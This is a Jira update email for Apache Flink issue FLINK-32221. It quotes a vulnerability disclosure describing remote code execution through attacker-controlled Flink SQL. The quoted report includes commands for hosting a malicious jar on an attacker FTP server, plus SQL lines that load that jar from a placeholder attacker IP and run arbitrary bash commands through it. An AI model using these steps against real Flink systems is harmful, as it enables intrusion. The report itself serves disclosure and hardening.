[
https://issues.apache.org/jira/browse/FLINK-32221?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
gaoyu shi updated FLINK-32221:
------------------------------
Priority: Major (was: Critical)
> Attacker can achieve Remote Code Execution when they can control Flink SQL
> script content
> ------------------------------------------------------------------------------------------
>
> Key: FLINK-32221
> URL: https://issues.apache.org/jira/browse/FLINK-32221
> Project: Flink
> Issue Type: Bug
> Environment: all version that support SQL Script.
> Reporter: gaoyu shi
> Priority: Major
> Attachments: image-2023-05-31-14-58-21-800.png,
> image-2023-05-31-14-59-50-875.png
>
>
> Flink SQL script has similiar syntax with tradition SQL, which means it also
> suffer SQL injection vulnerbility.
> Attacker can achieve Remote Code Execution when they can control part of
> whole of the Flink SQL script content by following steps.
> 1. attacker develop an evil custom Scalar Function class and package it into
> jar.
> !image-2023-05-31-14-59-50-875.png|width=721,height=251!
> 2. run a ftp server on attacker host, and put the evil jar in it.
>
> {code:java}
> // install python-ftp-server tool
> pip install python-ftp-server
> // run ftp server
> python3 -m python_ftp_server -d . --ip <public interface ip> -p password
> // copy evil jar to current directory
> cp <evil.jar-path> .{code}
> 3. Input the Flink SQL script to trigger code execution, which assumes that
> the attacker can control part or whole of the Flink SQL script through SQL
> injection or other method.
>
>
> {code:java}
> // transfer the evil jar from attacker host to victim
> ADD JAR 'ftp://user:password@<attacker-ip>:60000/evil.jar';
> // register the evil function into the SQL context
> CREATE FUNCTION EVIL AS 'org.example.Evil';
> // run any bash command
> SELECT EVIL('<bash command>'); {code}
>
>
> In summary, this vulnerbility allows attacker get remote code execution
> through Flink SQL script. After looking at several websites that use flink,
> it is very common to concat user input into Flink SQL statements, or even
> directly allow users to enter arbitrary Flink SQL scripts to process data.
> I allow that it is not a vulnerability to execute malicious code through
> Flink's web interface to submit a malicious jar package, because developers
> will hide Flink's web interface by default, such as only listening to
> localhost. However, malicious code execution through Flink SQL scripts is
> completely different. Currently, there is no hardening method or default
> configuration that can prevent attackers from using Flink SQL to achieve
> arbitrary code execution.
> Suggestion:
> 'ADD JAR' command should not be able to load remote jar, or it should be
> disable by default at least.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)